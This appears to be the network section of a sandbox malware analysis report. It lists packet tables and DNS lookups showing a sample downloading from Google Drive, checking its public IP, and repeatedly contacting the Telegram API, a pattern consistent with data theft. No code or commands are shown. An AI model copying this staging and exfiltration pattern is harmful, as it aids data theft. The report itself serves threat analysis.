Jan 10, 2025 22:40:13.792733908 CET	49985	443	192.168.2.6	142.250.185.129
Jan 10, 2025 22:40:13.792742014 CET	443	49985	142.250.185.129	192.168.2.6
Jan 10, 2025 22:40:13.792782068 CET	49985	443	192.168.2.6	142.250.185.129
Jan 10, 2025 22:40:13.797296047 CET	443	49985	142.250.185.129	192.168.2.6
Jan 10, 2025 22:40:13.797353983 CET	49985	443	192.168.2.6	142.250.185.129
Jan 10, 2025 22:40:13.797362089 CET	443	49985	142.250.185.129	192.168.2.6
Jan 10, 2025 22:40:13.797477961 CET	49985	443	192.168.2.6	142.250.185.129
Jan 10, 2025 22:40:13.801681995 CET	443	49985	142.250.185.129	192.168.2.6
Jan 10, 2025 22:40:13.801747084 CET	49985	443	192.168.2.6	142.250.185.129
Jan 10, 2025 22:40:13.801753998 CET	443	49985	142.250.185.129	192.168.2.6
Jan 10, 2025 22:40:13.801800966 CET	49985	443	192.168.2.6	142.250.185.129
Jan 10, 2025 22:40:13.805859089 CET	443	49985	142.250.185.129	192.168.2.6
Jan 10, 2025 22:40:13.805927038 CET	49985	443	192.168.2.6	142.250.185.129
Jan 10, 2025 22:40:13.805932045 CET	443	49985	142.250.185.129	192.168.2.6
Jan 10, 2025 22:40:13.805985928 CET	49985	443	192.168.2.6	142.250.185.129
Jan 10, 2025 22:40:13.805990934 CET	443	49985	142.250.185.129	192.168.2.6
Jan 10, 2025 22:40:13.806031942 CET	49985	443	192.168.2.6	142.250.185.129
Jan 10, 2025 22:40:13.806037903 CET	443	49985	142.250.185.129	192.168.2.6
Jan 10, 2025 22:40:13.806051016 CET	443	49985	142.250.185.129	192.168.2.6
Jan 10, 2025 22:40:13.806091070 CET	49985	443	192.168.2.6	142.250.185.129
Jan 10, 2025 22:40:13.815630913 CET	49985	443	192.168.2.6	142.250.185.129
Jan 10, 2025 22:40:13.815649986 CET	443	49985	142.250.185.129	192.168.2.6
Jan 10, 2025 22:40:15.741568089 CET	49987	80	192.168.2.6	132.226.247.73
Jan 10, 2025 22:40:15.746429920 CET	80	49987	132.226.247.73	192.168.2.6
Jan 10, 2025 22:40:15.746527910 CET	49987	80	192.168.2.6	132.226.247.73
Jan 10, 2025 22:40:15.746716976 CET	49987	80	192.168.2.6	132.226.247.73
Jan 10, 2025 22:40:15.751537085 CET	80	49987	132.226.247.73	192.168.2.6
Jan 10, 2025 22:40:20.434643030 CET	80	49987	132.226.247.73	192.168.2.6
Jan 10, 2025 22:40:20.443990946 CET	49987	80	192.168.2.6	132.226.247.73
Jan 10, 2025 22:40:20.448875904 CET	80	49987	132.226.247.73	192.168.2.6
Jan 10, 2025 22:40:21.404453993 CET	80	49987	132.226.247.73	192.168.2.6
Jan 10, 2025 22:40:21.452270985 CET	49987	80	192.168.2.6	132.226.247.73
Jan 10, 2025 22:40:21.755654097 CET	49988	443	192.168.2.6	104.21.32.1
Jan 10, 2025 22:40:21.755667925 CET	443	49988	104.21.32.1	192.168.2.6
Jan 10, 2025 22:40:21.755732059 CET	49988	443	192.168.2.6	104.21.32.1
Jan 10, 2025 22:40:21.757922888 CET	49988	443	192.168.2.6	104.21.32.1
Jan 10, 2025 22:40:21.757936001 CET	443	49988	104.21.32.1	192.168.2.6
Jan 10, 2025 22:40:22.257549047 CET	443	49988	104.21.32.1	192.168.2.6
Jan 10, 2025 22:40:22.257664919 CET	49988	443	192.168.2.6	104.21.32.1
Jan 10, 2025 22:40:22.261410952 CET	49988	443	192.168.2.6	104.21.32.1
Jan 10, 2025 22:40:22.261444092 CET	443	49988	104.21.32.1	192.168.2.6
Jan 10, 2025 22:40:22.261945963 CET	443	49988	104.21.32.1	192.168.2.6
Jan 10, 2025 22:40:22.272665024 CET	49988	443	192.168.2.6	104.21.32.1
Jan 10, 2025 22:40:22.315344095 CET	443	49988	104.21.32.1	192.168.2.6
Jan 10, 2025 22:40:22.393043995 CET	443	49988	104.21.32.1	192.168.2.6
Jan 10, 2025 22:40:22.393222094 CET	443	49988	104.21.32.1	192.168.2.6
Jan 10, 2025 22:40:22.393306017 CET	49988	443	192.168.2.6	104.21.32.1
Jan 10, 2025 22:40:22.403871059 CET	49988	443	192.168.2.6	104.21.32.1
Jan 10, 2025 22:40:28.107544899 CET	49987	80	192.168.2.6	132.226.247.73
Jan 10, 2025 22:40:28.112565041 CET	80	49987	132.226.247.73	192.168.2.6
Jan 10, 2025 22:40:29.391491890 CET	80	49987	132.226.247.73	192.168.2.6
Jan 10, 2025 22:40:29.421226978 CET	49989	443	192.168.2.6	149.154.167.220
Jan 10, 2025 22:40:29.421271086 CET	443	49989	149.154.167.220	192.168.2.6
Jan 10, 2025 22:40:29.421487093 CET	49989	443	192.168.2.6	149.154.167.220
Jan 10, 2025 22:40:29.422013998 CET	49989	443	192.168.2.6	149.154.167.220
Jan 10, 2025 22:40:29.422029972 CET	443	49989	149.154.167.220	192.168.2.6
Jan 10, 2025 22:40:29.437077045 CET	49987	80	192.168.2.6	132.226.247.73
Jan 10, 2025 22:40:30.048665047 CET	443	49989	149.154.167.220	192.168.2.6
Jan 10, 2025 22:40:30.048793077 CET	49989	443	192.168.2.6	149.154.167.220
Jan 10, 2025 22:40:30.056190968 CET	49989	443	192.168.2.6	149.154.167.220
Jan 10, 2025 22:40:30.056222916 CET	443	49989	149.154.167.220	192.168.2.6
Jan 10, 2025 22:40:30.057377100 CET	443	49989	149.154.167.220	192.168.2.6
Jan 10, 2025 22:40:30.059073925 CET	49989	443	192.168.2.6	149.154.167.220
Jan 10, 2025 22:40:30.099334002 CET	443	49989	149.154.167.220	192.168.2.6
Jan 10, 2025 22:40:30.099468946 CET	49989	443	192.168.2.6	149.154.167.220
Jan 10, 2025 22:40:30.099486113 CET	443	49989	149.154.167.220	192.168.2.6
Jan 10, 2025 22:40:30.359110117 CET	443	49989	149.154.167.220	192.168.2.6
Jan 10, 2025 22:40:30.359246016 CET	443	49989	149.154.167.220	192.168.2.6
Jan 10, 2025 22:40:30.359309912 CET	49989	443	192.168.2.6	149.154.167.220
Jan 10, 2025 22:40:30.359713078 CET	49989	443	192.168.2.6	149.154.167.220
Jan 10, 2025 22:40:30.516865969 CET	49987	80	192.168.2.6	132.226.247.73
Jan 10, 2025 22:40:30.518309116 CET	49990	80	192.168.2.6	132.226.247.73
Jan 10, 2025 22:40:30.522072077 CET	80	49987	132.226.247.73	192.168.2.6
Jan 10, 2025 22:40:30.522161007 CET	49987	80	192.168.2.6	132.226.247.73
Jan 10, 2025 22:40:30.523232937 CET	80	49990	132.226.247.73	192.168.2.6
Jan 10, 2025 22:40:30.523333073 CET	49990	80	192.168.2.6	132.226.247.73
Jan 10, 2025 22:40:30.523483038 CET	49990	80	192.168.2.6	132.226.247.73
Jan 10, 2025 22:40:30.528311968 CET	80	49990	132.226.247.73	192.168.2.6
Jan 10, 2025 22:40:31.318481922 CET	80	49990	132.226.247.73	192.168.2.6
Jan 10, 2025 22:40:31.320321083 CET	49991	443	192.168.2.6	149.154.167.220
Jan 10, 2025 22:40:31.320446968 CET	443	49991	149.154.167.220	192.168.2.6
Jan 10, 2025 22:40:31.320550919 CET	49991	443	192.168.2.6	149.154.167.220
Jan 10, 2025 22:40:31.321259022 CET	49991	443	192.168.2.6	149.154.167.220
Jan 10, 2025 22:40:31.321300030 CET	443	49991	149.154.167.220	192.168.2.6
Jan 10, 2025 22:40:31.358603001 CET	49990	80	192.168.2.6	132.226.247.73
Jan 10, 2025 22:40:31.938594103 CET	443	49991	149.154.167.220	192.168.2.6
Jan 10, 2025 22:40:31.944051981 CET	49991	443	192.168.2.6	149.154.167.220
Jan 10, 2025 22:40:31.944092989 CET	443	49991	149.154.167.220	192.168.2.6
Jan 10, 2025 22:40:31.946144104 CET	49991	443	192.168.2.6	149.154.167.220
Jan 10, 2025 22:40:31.946171045 CET	443	49991	149.154.167.220	192.168.2.6
Jan 10, 2025 22:40:32.242505074 CET	443	49991	149.154.167.220	192.168.2.6
Jan 10, 2025 22:40:32.242609024 CET	443	49991	149.154.167.220	192.168.2.6
Jan 10, 2025 22:40:32.242700100 CET	49991	443	192.168.2.6	149.154.167.220
Jan 10, 2025 22:40:32.243132114 CET	49991	443	192.168.2.6	149.154.167.220
Jan 10, 2025 22:40:32.284882069 CET	49990	80	192.168.2.6	132.226.247.73
Jan 10, 2025 22:40:32.285923958 CET	49992	80	192.168.2.6	132.226.247.73
Jan 10, 2025 22:40:32.290061951 CET	80	49990	132.226.247.73	192.168.2.6
Jan 10, 2025 22:40:32.290154934 CET	49990	80	192.168.2.6	132.226.247.73
Jan 10, 2025 22:40:32.290867090 CET	80	49992	132.226.247.73	192.168.2.6
Jan 10, 2025 22:40:32.290968895 CET	49992	80	192.168.2.6	132.226.247.73
Jan 10, 2025 22:40:32.291057110 CET	49992	80	192.168.2.6	132.226.247.73
Jan 10, 2025 22:40:32.295869112 CET	80	49992	132.226.247.73	192.168.2.6
Jan 10, 2025 22:40:32.964500904 CET	80	49992	132.226.247.73	192.168.2.6
Jan 10, 2025 22:40:32.970120907 CET	49993	443	192.168.2.6	149.154.167.220
Jan 10, 2025 22:40:32.970240116 CET	443	49993	149.154.167.220	192.168.2.6
Jan 10, 2025 22:40:32.970330000 CET	49993	443	192.168.2.6	149.154.167.220
Jan 10, 2025 22:40:32.970719099 CET	49993	443	192.168.2.6	149.154.167.220
Jan 10, 2025 22:40:32.970746040 CET	443	49993	149.154.167.220	192.168.2.6
Jan 10, 2025 22:40:33.014815092 CET	49992	80	192.168.2.6	132.226.247.73
Jan 10, 2025 22:40:33.602495909 CET	443	49993	149.154.167.220	192.168.2.6
Jan 10, 2025 22:40:33.604589939 CET	49993	443	192.168.2.6	149.154.167.220
Jan 10, 2025 22:40:33.604598999 CET	443	49993	149.154.167.220	192.168.2.6
Jan 10, 2025 22:40:33.604669094 CET	49993	443	192.168.2.6	149.154.167.220
Jan 10, 2025 22:40:33.604676008 CET	443	49993	149.154.167.220	192.168.2.6
Jan 10, 2025 22:40:33.909293890 CET	443	49993	149.154.167.220	192.168.2.6
Jan 10, 2025 22:40:33.909394979 CET	443	49993	149.154.167.220	192.168.2.6
Jan 10, 2025 22:40:33.909472942 CET	49993	443	192.168.2.6	149.154.167.220
Jan 10, 2025 22:40:33.910010099 CET	49993	443	192.168.2.6	149.154.167.220
Jan 10, 2025 22:40:33.913670063 CET	49992	80	192.168.2.6	132.226.247.73
Jan 10, 2025 22:40:33.914948940 CET	49994	80	192.168.2.6	132.226.247.73
Jan 10, 2025 22:40:33.918626070 CET	80	49992	132.226.247.73	192.168.2.6
Jan 10, 2025 22:40:33.919255972 CET	49992	80	192.168.2.6	132.226.247.73
Jan 10, 2025 22:40:33.919742107 CET	80	49994	132.226.247.73	192.168.2.6
Jan 10, 2025 22:40:33.921897888 CET	49994	80	192.168.2.6	132.226.247.73
Jan 10, 2025 22:40:33.922043085 CET	49994	80	192.168.2.6	132.226.247.73
Jan 10, 2025 22:40:33.926759005 CET	80	49994	132.226.247.73	192.168.2.6
Jan 10, 2025 22:40:35.593790054 CET	80	49994	132.226.247.73	192.168.2.6
Jan 10, 2025 22:40:35.594965935 CET	49995	443	192.168.2.6	149.154.167.220
Jan 10, 2025 22:40:35.595014095 CET	443	49995	149.154.167.220	192.168.2.6
Jan 10, 2025 22:40:35.595117092 CET	49995	443	192.168.2.6	149.154.167.220
Jan 10, 2025 22:40:35.595381021 CET	49995	443	192.168.2.6	149.154.167.220
Jan 10, 2025 22:40:35.595396042 CET	443	49995	149.154.167.220	192.168.2.6
Jan 10, 2025 22:40:35.639977932 CET	49994	80	192.168.2.6	132.226.247.73
Jan 10, 2025 22:40:36.202336073 CET	443	49995	149.154.167.220	192.168.2.6
Jan 10, 2025 22:40:36.204233885 CET	49995	443	192.168.2.6	149.154.167.220
Jan 10, 2025 22:40:36.204269886 CET	443	49995	149.154.167.220	192.168.2.6
Jan 10, 2025 22:40:36.204329967 CET	49995	443	192.168.2.6	149.154.167.220
Jan 10, 2025 22:40:36.204340935 CET	443	49995	149.154.167.220	192.168.2.6
Jan 10, 2025 22:40:36.422075987 CET	443	49995	149.154.167.220	192.168.2.6
Jan 10, 2025 22:40:36.422293901 CET	443	49995	149.154.167.220	192.168.2.6
Jan 10, 2025 22:40:36.422374010 CET	49995	443	192.168.2.6	149.154.167.220
Jan 10, 2025 22:40:36.422727108 CET	49995	443	192.168.2.6	149.154.167.220
Jan 10, 2025 22:40:36.427902937 CET	49996	80	192.168.2.6	132.226.247.73
Jan 10, 2025 22:40:36.433516979 CET	80	49996	132.226.247.73	192.168.2.6
Jan 10, 2025 22:40:36.433675051 CET	49996	80	192.168.2.6	132.226.247.73
Jan 10, 2025 22:40:36.433839083 CET	49996	80	192.168.2.6	132.226.247.73
Jan 10, 2025 22:40:36.438676119 CET	80	49996	132.226.247.73	192.168.2.6
Jan 10, 2025 22:40:38.105823994 CET	80	49996	132.226.247.73	192.168.2.6
Jan 10, 2025 22:40:38.107094049 CET	49997	443	192.168.2.6	149.154.167.220
Jan 10, 2025 22:40:38.107165098 CET	443	49997	149.154.167.220	192.168.2.6
Jan 10, 2025 22:40:38.107356071 CET	49997	443	192.168.2.6	149.154.167.220
Jan 10, 2025 22:40:38.107690096 CET	49997	443	192.168.2.6	149.154.167.220
Jan 10, 2025 22:40:38.107706070 CET	443	49997	149.154.167.220	192.168.2.6
Jan 10, 2025 22:40:38.155483007 CET	49996	80	192.168.2.6	132.226.247.73
Jan 10, 2025 22:40:38.710661888 CET	443	49997	149.154.167.220	192.168.2.6
Jan 10, 2025 22:40:38.712208033 CET	49997	443	192.168.2.6	149.154.167.220
Jan 10, 2025 22:40:38.712220907 CET	443	49997	149.154.167.220	192.168.2.6
Jan 10, 2025 22:40:38.712261915 CET	49997	443	192.168.2.6	149.154.167.220
Jan 10, 2025 22:40:38.712272882 CET	443	49997	149.154.167.220	192.168.2.6
Jan 10, 2025 22:40:39.076515913 CET	443	49997	149.154.167.220	192.168.2.6
Jan 10, 2025 22:40:39.076626062 CET	443	49997	149.154.167.220	192.168.2.6
Jan 10, 2025 22:40:39.076796055 CET	49997	443	192.168.2.6	149.154.167.220
Jan 10, 2025 22:40:39.077132940 CET	49997	443	192.168.2.6	149.154.167.220
Jan 10, 2025 22:40:39.080148935 CET	49996	80	192.168.2.6	132.226.247.73
Jan 10, 2025 22:40:39.081170082 CET	49999	80	192.168.2.6	132.226.247.73
Jan 10, 2025 22:40:39.085148096 CET	80	49996	132.226.247.73	192.168.2.6
Jan 10, 2025 22:40:39.085378885 CET	49996	80	192.168.2.6	132.226.247.73
Jan 10, 2025 22:40:39.085988045 CET	80	49999	132.226.247.73	192.168.2.6
Jan 10, 2025 22:40:39.086062908 CET	49999	80	192.168.2.6	132.226.247.73
Jan 10, 2025 22:40:39.086287022 CET	49999	80	192.168.2.6	132.226.247.73
Jan 10, 2025 22:40:39.091294050 CET	80	49999	132.226.247.73	192.168.2.6
Jan 10, 2025 22:40:40.552428961 CET	80	49999	132.226.247.73	192.168.2.6
Jan 10, 2025 22:40:40.553649902 CET	50000	443	192.168.2.6	149.154.167.220
Jan 10, 2025 22:40:40.553703070 CET	443	50000	149.154.167.220	192.168.2.6
Jan 10, 2025 22:40:40.553770065 CET	50000	443	192.168.2.6	149.154.167.220
Jan 10, 2025 22:40:40.554028034 CET	50000	443	192.168.2.6	149.154.167.220
Jan 10, 2025 22:40:40.554044008 CET	443	50000	149.154.167.220	192.168.2.6
Jan 10, 2025 22:40:40.592936993 CET	49999	80	192.168.2.6	132.226.247.73
Jan 10, 2025 22:40:41.187124014 CET	443	50000	149.154.167.220	192.168.2.6
Jan 10, 2025 22:40:41.188714027 CET	50000	443	192.168.2.6	149.154.167.220
Jan 10, 2025 22:40:41.188744068 CET	443	50000	149.154.167.220	192.168.2.6
Jan 10, 2025 22:40:41.188805103 CET	50000	443	192.168.2.6	149.154.167.220
Jan 10, 2025 22:40:41.188828945 CET	443	50000	149.154.167.220	192.168.2.6
Jan 10, 2025 22:40:41.661540985 CET	443	50000	149.154.167.220	192.168.2.6
Jan 10, 2025 22:40:41.661640882 CET	443	50000	149.154.167.220	192.168.2.6
Jan 10, 2025 22:40:41.661748886 CET	50000	443	192.168.2.6	149.154.167.220
Jan 10, 2025 22:40:41.662055016 CET	50000	443	192.168.2.6	149.154.167.220
Jan 10, 2025 22:40:41.665340900 CET	49999	80	192.168.2.6	132.226.247.73
Jan 10, 2025 22:40:41.666419983 CET	50001	80	192.168.2.6	132.226.247.73
Jan 10, 2025 22:40:41.670299053 CET	80	49999	132.226.247.73	192.168.2.6
Jan 10, 2025 22:40:41.670356035 CET	49999	80	192.168.2.6	132.226.247.73
Jan 10, 2025 22:40:41.671190977 CET	80	50001	132.226.247.73	192.168.2.6
Jan 10, 2025 22:40:41.671252966 CET	50001	80	192.168.2.6	132.226.247.73
Jan 10, 2025 22:40:41.671372890 CET	50001	80	192.168.2.6	132.226.247.73
Jan 10, 2025 22:40:41.676131010 CET	80	50001	132.226.247.73	192.168.2.6
Jan 10, 2025 22:40:45.343734026 CET	80	50001	132.226.247.73	192.168.2.6
Jan 10, 2025 22:40:45.358093977 CET	50002	80	192.168.2.6	132.226.247.73
Jan 10, 2025 22:40:45.363101006 CET	80	50002	132.226.247.73	192.168.2.6
Jan 10, 2025 22:40:45.363269091 CET	50002	80	192.168.2.6	132.226.247.73
Jan 10, 2025 22:40:45.363451958 CET	50002	80	192.168.2.6	132.226.247.73
Jan 10, 2025 22:40:45.368298054 CET	80	50002	132.226.247.73	192.168.2.6
Jan 10, 2025 22:40:45.389808893 CET	50001	80	192.168.2.6	132.226.247.73
Jan 10, 2025 22:40:48.248415947 CET	80	50002	132.226.247.73	192.168.2.6
Jan 10, 2025 22:40:48.248905897 CET	50001	80	192.168.2.6	132.226.247.73
Jan 10, 2025 22:40:48.253946066 CET	80	50001	132.226.247.73	192.168.2.6
Jan 10, 2025 22:40:48.254009962 CET	50001	80	192.168.2.6	132.226.247.73
Jan 10, 2025 22:40:48.256892920 CET	50003	443	192.168.2.6	149.154.167.220
Jan 10, 2025 22:40:48.256959915 CET	443	50003	149.154.167.220	192.168.2.6
Jan 10, 2025 22:40:48.257049084 CET	50003	443	192.168.2.6	149.154.167.220
Jan 10, 2025 22:40:48.257359982 CET	50003	443	192.168.2.6	149.154.167.220
Jan 10, 2025 22:40:48.257400036 CET	443	50003	149.154.167.220	192.168.2.6
Jan 10, 2025 22:40:48.296058893 CET	50002	80	192.168.2.6	132.226.247.73
Jan 10, 2025 22:40:48.898999929 CET	443	50003	149.154.167.220	192.168.2.6
Jan 10, 2025 22:40:48.900721073 CET	50003	443	192.168.2.6	149.154.167.220
Jan 10, 2025 22:40:48.900793076 CET	443	50003	149.154.167.220	192.168.2.6
Jan 10, 2025 22:40:48.900867939 CET	50003	443	192.168.2.6	149.154.167.220
Jan 10, 2025 22:40:48.900892019 CET	443	50003	149.154.167.220	192.168.2.6
Jan 10, 2025 22:40:49.269857883 CET	443	50003	149.154.167.220	192.168.2.6
Jan 10, 2025 22:40:49.269973040 CET	443	50003	149.154.167.220	192.168.2.6
Jan 10, 2025 22:40:49.270114899 CET	50003	443	192.168.2.6	149.154.167.220
Jan 10, 2025 22:40:49.270503044 CET	50003	443	192.168.2.6	149.154.167.220
Jan 10, 2025 22:40:49.273303032 CET	50002	80	192.168.2.6	132.226.247.73
Jan 10, 2025 22:40:49.274343967 CET	50004	80	192.168.2.6	132.226.247.73
Jan 10, 2025 22:40:49.278721094 CET	80	50002	132.226.247.73	192.168.2.6
Jan 10, 2025 22:40:49.278846979 CET	50002	80	192.168.2.6	132.226.247.73
Jan 10, 2025 22:40:49.279591084 CET	80	50004	132.226.247.73	192.168.2.6
Jan 10, 2025 22:40:49.279663086 CET	50004	80	192.168.2.6	132.226.247.73
Jan 10, 2025 22:40:49.279896975 CET	50004	80	192.168.2.6	132.226.247.73
Jan 10, 2025 22:40:49.285126925 CET	80	50004	132.226.247.73	192.168.2.6
Jan 10, 2025 22:40:52.951751947 CET	80	50004	132.226.247.73	192.168.2.6
Jan 10, 2025 22:40:52.957674980 CET	50005	80	192.168.2.6	132.226.247.73
Jan 10, 2025 22:40:52.962452888 CET	80	50005	132.226.247.73	192.168.2.6
Jan 10, 2025 22:40:52.962559938 CET	50005	80	192.168.2.6	132.226.247.73
Jan 10, 2025 22:40:52.962630987 CET	50005	80	192.168.2.6	132.226.247.73
Jan 10, 2025 22:40:52.967406034 CET	80	50005	132.226.247.73	192.168.2.6
Jan 10, 2025 22:40:52.999207973 CET	50004	80	192.168.2.6	132.226.247.73
Jan 10, 2025 22:40:57.146275997 CET	80	50005	132.226.247.73	192.168.2.6
Jan 10, 2025 22:40:57.146706104 CET	50004	80	192.168.2.6	132.226.247.73
Jan 10, 2025 22:40:57.147630930 CET	50006	443	192.168.2.6	149.154.167.220
Jan 10, 2025 22:40:57.147655964 CET	443	50006	149.154.167.220	192.168.2.6
Jan 10, 2025 22:40:57.147732019 CET	50006	443	192.168.2.6	149.154.167.220
Jan 10, 2025 22:40:57.148099899 CET	50006	443	192.168.2.6	149.154.167.220
Jan 10, 2025 22:40:57.148114920 CET	443	50006	149.154.167.220	192.168.2.6
Jan 10, 2025 22:40:57.151695967 CET	80	50004	132.226.247.73	192.168.2.6
Jan 10, 2025 22:40:57.151757956 CET	50004	80	192.168.2.6	132.226.247.73
Jan 10, 2025 22:40:57.186687946 CET	50005	80	192.168.2.6	132.226.247.73
Jan 10, 2025 22:40:57.769898891 CET	443	50006	149.154.167.220	192.168.2.6
Jan 10, 2025 22:40:57.771889925 CET	50006	443	192.168.2.6	149.154.167.220
Jan 10, 2025 22:40:57.771912098 CET	443	50006	149.154.167.220	192.168.2.6
Jan 10, 2025 22:40:57.771974087 CET	50006	443	192.168.2.6	149.154.167.220
Jan 10, 2025 22:40:57.771982908 CET	443	50006	149.154.167.220	192.168.2.6
Jan 10, 2025 22:40:58.055139065 CET	443	50006	149.154.167.220	192.168.2.6
Jan 10, 2025 22:40:58.055344105 CET	443	50006	149.154.167.220	192.168.2.6
Jan 10, 2025 22:40:58.055413008 CET	50006	443	192.168.2.6	149.154.167.220
Jan 10, 2025 22:40:58.059149981 CET	50006	443	192.168.2.6	149.154.167.220
Jan 10, 2025 22:40:58.115720987 CET	50005	80	192.168.2.6	132.226.247.73
Jan 10, 2025 22:40:58.120943069 CET	80	50005	132.226.247.73	192.168.2.6
Jan 10, 2025 22:40:58.121041059 CET	50005	80	192.168.2.6	132.226.247.73
Jan 10, 2025 22:40:58.129784107 CET	50007	80	192.168.2.6	132.226.247.73
Jan 10, 2025 22:40:58.134653091 CET	80	50007	132.226.247.73	192.168.2.6
Jan 10, 2025 22:40:58.134788036 CET	50007	80	192.168.2.6	132.226.247.73
Jan 10, 2025 22:40:58.139220953 CET	50007	80	192.168.2.6	132.226.247.73
Jan 10, 2025 22:40:58.144105911 CET	80	50007	132.226.247.73	192.168.2.6
Jan 10, 2025 22:41:02.228669882 CET	80	50007	132.226.247.73	192.168.2.6
Jan 10, 2025 22:41:02.280441999 CET	50007	80	192.168.2.6	132.226.247.73
Jan 10, 2025 22:41:04.282990932 CET	50008	443	192.168.2.6	149.154.167.220
Jan 10, 2025 22:41:04.283044100 CET	443	50008	149.154.167.220	192.168.2.6
Jan 10, 2025 22:41:04.283113003 CET	50008	443	192.168.2.6	149.154.167.220
Jan 10, 2025 22:41:04.283461094 CET	50008	443	192.168.2.6	149.154.167.220
Jan 10, 2025 22:41:04.283478975 CET	443	50008	149.154.167.220	192.168.2.6
Jan 10, 2025 22:41:04.894202948 CET	443	50008	149.154.167.220	192.168.2.6
Jan 10, 2025 22:41:04.895904064 CET	50008	443	192.168.2.6	149.154.167.220
Jan 10, 2025 22:41:04.895936012 CET	443	50008	149.154.167.220	192.168.2.6
Jan 10, 2025 22:41:04.895987988 CET	50008	443	192.168.2.6	149.154.167.220
Jan 10, 2025 22:41:04.895994902 CET	443	50008	149.154.167.220	192.168.2.6
Jan 10, 2025 22:41:05.200500011 CET	443	50008	149.154.167.220	192.168.2.6
Jan 10, 2025 22:41:05.200714111 CET	443	50008	149.154.167.220	192.168.2.6
Jan 10, 2025 22:41:05.200778961 CET	50008	443	192.168.2.6	149.154.167.220

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 22:40:09.298219919 CET	51266	53	192.168.2.6	1.1.1.1
Jan 10, 2025 22:40:09.305131912 CET	53	51266	1.1.1.1	192.168.2.6
Jan 10, 2025 22:40:10.406002045 CET	51394	53	192.168.2.6	1.1.1.1
Jan 10, 2025 22:40:10.413100958 CET	53	51394	1.1.1.1	192.168.2.6
Jan 10, 2025 22:40:15.729190111 CET	62344	53	192.168.2.6	1.1.1.1
Jan 10, 2025 22:40:15.736776114 CET	53	62344	1.1.1.1	192.168.2.6
Jan 10, 2025 22:40:21.747884989 CET	52846	53	192.168.2.6	1.1.1.1
Jan 10, 2025 22:40:21.754991055 CET	53	52846	1.1.1.1	192.168.2.6
Jan 10, 2025 22:40:29.413621902 CET	51160	53	192.168.2.6	1.1.1.1
Jan 10, 2025 22:40:29.420383930 CET	53	51160	1.1.1.1	192.168.2.6
Jan 10, 2025 22:40:48.249629021 CET	65164	53	192.168.2.6	1.1.1.1
Jan 10, 2025 22:40:48.256239891 CET	53	65164	1.1.1.1	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 22:40:09.298219919 CET	192.168.2.6	1.1.1.1	0x5e7b	Standard query (0)	drive.google.com	A (IP address)	IN (0x0001)	false
Jan 10, 2025 22:40:10.406002045 CET	192.168.2.6	1.1.1.1	0xf136	Standard query (0)	drive.usercontent.google.com	A (IP address)	IN (0x0001)	false
Jan 10, 2025 22:40:15.729190111 CET	192.168.2.6	1.1.1.1	0xee49	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Jan 10, 2025 22:40:21.747884989 CET	192.168.2.6	1.1.1.1	0x942a	Standard query (0)	reallyfreegeoip.org	A (IP address)	IN (0x0001)	false
Jan 10, 2025 22:40:29.413621902 CET	192.168.2.6	1.1.1.1	0x3602	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false
Jan 10, 2025 22:40:48.249629021 CET	192.168.2.6	1.1.1.1	0xd431	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 22:40:09.305131912 CET	1.1.1.1	192.168.2.6	0x5e7b	No error (0)	drive.google.com		142.250.185.78	A (IP address)	IN (0x0001)	false
Jan 10, 2025 22:40:10.413100958 CET	1.1.1.1	192.168.2.6	0xf136	No error (0)	drive.usercontent.google.com		142.250.185.129	A (IP address)	IN (0x0001)	false
Jan 10, 2025 22:40:15.736776114 CET	1.1.1.1	192.168.2.6	0xee49	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 22:40:15.736776114 CET	1.1.1.1	192.168.2.6	0xee49	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Jan 10, 2025 22:40:15.736776114 CET	1.1.1.1	192.168.2.6	0xee49	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Jan 10, 2025 22:40:15.736776114 CET	1.1.1.1	192.168.2.6	0xee49	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Jan 10, 2025 22:40:15.736776114 CET	1.1.1.1	192.168.2.6	0xee49	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Jan 10, 2025 22:40:15.736776114 CET	1.1.1.1	192.168.2.6	0xee49	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Jan 10, 2025 22:40:21.754991055 CET	1.1.1.1	192.168.2.6	0x942a	No error (0)	reallyfreegeoip.org		104.21.32.1	A (IP address)	IN (0x0001)	false
Jan 10, 2025 22:40:21.754991055 CET	1.1.1.1	192.168.2.6	0x942a	No error (0)	reallyfreegeoip.org		104.21.16.1	A (IP address)	IN (0x0001)	false
Jan 10, 2025 22:40:21.754991055 CET	1.1.1.1	192.168.2.6	0x942a	No error (0)	reallyfreegeoip.org		104.21.64.1	A (IP address)	IN (0x0001)	false
Jan 10, 2025 22:40:21.754991055 CET	1.1.1.1	192.168.2.6	0x942a	No error (0)	reallyfreegeoip.org		104.21.96.1	A (IP address)	IN (0x0001)	false
Jan 10, 2025 22:40:21.754991055 CET	1.1.1.1	192.168.2.6	0x942a	No error (0)	reallyfreegeoip.org		104.21.48.1	A (IP address)	IN (0x0001)	false
Jan 10, 2025 22:40:21.754991055 CET	1.1.1.1	192.168.2.6	0x942a	No error (0)	reallyfreegeoip.org		104.21.112.1	A (IP address)	IN (0x0001)	false
Jan 10, 2025 22:40:21.754991055 CET	1.1.1.1	192.168.2.6	0x942a	No error (0)	reallyfreegeoip.org		104.21.80.1	A (IP address)	IN (0x0001)	false
Jan 10, 2025 22:40:29.420383930 CET	1.1.1.1	192.168.2.6	0x3602	No error (0)	api.telegram.org		149.154.167.220	A (IP address)	IN (0x0001)	false
Jan 10, 2025 22:40:48.256239891 CET	1.1.1.1	192.168.2.6	0xd431	No error (0)	api.telegram.org		149.154.167.220	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

drive.google.com

drive.usercontent.google.com

reallyfreegeoip.org

api.telegram.org

checkip.dyndns.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
